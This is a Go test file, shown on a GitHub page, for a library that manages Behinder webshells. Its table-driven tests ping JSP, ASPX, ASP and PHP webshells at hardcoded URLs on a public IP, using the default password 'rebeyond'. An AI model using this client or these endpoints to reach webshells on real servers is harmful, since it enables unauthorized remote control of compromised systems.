-
Notifications
You must be signed in to change notification settings - Fork 13
/
behinder_test.go
167 lines (164 loc) · 3.72 KB
/
behinder_test.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
package wsm
import (
"github.com/xiecat/wsm/lib/shell"
"github.com/xiecat/wsm/lib/shell/behinder"
"testing"
)
const (
// JspIndexShellUrl 测试输出存在干扰字符的情况
JspIndexShellUrl = "http://139.196.175.86:8080/bxindex.jsp"
JspShellUrl = "http://139.196.175.86:8080/bx.jsp"
CsharpShellUrl = "http://139.196.175.86:8081/bx.aspx"
AspShellUrl = "http://139.196.175.86:8081/bx.asp"
PhpShellUrl = "http://139.196.175.86/bx.php"
)
func TestBehinderInfo_Ping(t *testing.T) {
type fields struct {
BaseShell BaseShell
secretKey []byte
encryptMode int
prefixLen int
suffixLen int
}
type args struct {
p []shell.IParams
}
tests := []struct {
name string
fields fields
args args
want bool
wantErr bool
}{
{
name: "冰蝎 JSP 结果不加密测试",
fields: fields{
BaseShell: BaseShell{
Url: JspShellUrl,
Password: "rebeyond",
Script: shell.JavaScript,
Proxy: "http://127.0.0.1:9999",
Headers: nil,
},
},
args: args{
p: []shell.IParams{
&behinder.PingParams{
// response 结果不加密测试
OnlyJavaParams: behinder.OnlyJavaParams{ForcePrint: false, NotEncrypt: true},
Content: "xxxxxxx",
},
},
},
want: true,
wantErr: false,
},
{
name: "冰蝎 JSP 结果存在干扰字符测试",
fields: fields{
BaseShell: BaseShell{
Url: JspIndexShellUrl,
Password: "rebeyond",
Script: shell.JavaScript,
Proxy: "http://127.0.0.1:9999",
Headers: nil,
},
},
args: args{
p: []shell.IParams{
&behinder.PingParams{
// out.println("干扰字符") 结果不加密测试
OnlyJavaParams: behinder.OnlyJavaParams{ForcePrint: true, NotEncrypt: false},
Content: "xxxxxxx",
},
},
},
want: true,
wantErr: false,
},
{
name: "冰蝎 JSP jdk 1.8.0_181",
fields: fields{
BaseShell: BaseShell{
Url: JspShellUrl,
Password: "rebeyond",
Script: shell.JavaScript,
Proxy: "http://127.0.0.1:9999",
Headers: nil,
},
},
args: args{nil},
want: true,
wantErr: false,
},
{
name: "冰蝎 ASPX shell .NET CLR v4.0 环境下",
fields: fields{
BaseShell: BaseShell{
Url: CsharpShellUrl,
Password: "rebeyond",
Script: shell.CsharpScript,
Proxy: "http://127.0.0.1:9999",
Headers: nil,
},
},
args: args{nil},
want: true,
wantErr: false,
},
{
name: "冰蝎 ASP",
fields: fields{
BaseShell: BaseShell{
Url: AspShellUrl,
Password: "rebeyond",
Script: shell.AspScript,
Proxy: "http://127.0.0.1:9999",
Headers: nil,
},
},
args: args{nil},
want: true,
wantErr: false,
},
{
name: "冰蝎 PHP php_5.4.45",
fields: fields{
BaseShell: BaseShell{
Url: PhpShellUrl,
Password: "rebeyond",
Script: shell.PhpScript,
Proxy: "http://127.0.0.1:9999",
Headers: nil,
},
},
args: args{nil},
want: true,
wantErr: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
b := &BehinderInfo{
BaseShell: tt.fields.BaseShell,
secretKey: tt.fields.secretKey,
encryptMode: tt.fields.encryptMode,
prefixLen: tt.fields.prefixLen,
suffixLen: tt.fields.suffixLen,
}
b, err := NewBehinder(b)
if err != nil {
t.Errorf("NewBehinder(b) error = %v, wantErr %v", err, nil)
return
}
got, err := b.Ping(tt.args.p...)
if (err != nil) != tt.wantErr {
t.Errorf("Ping() error = %v, wantErr %v", err, tt.wantErr)
return
}
if got != tt.want {
t.Errorf("Ping() got = %v, want %v", got, tt.want)
}
})
}
}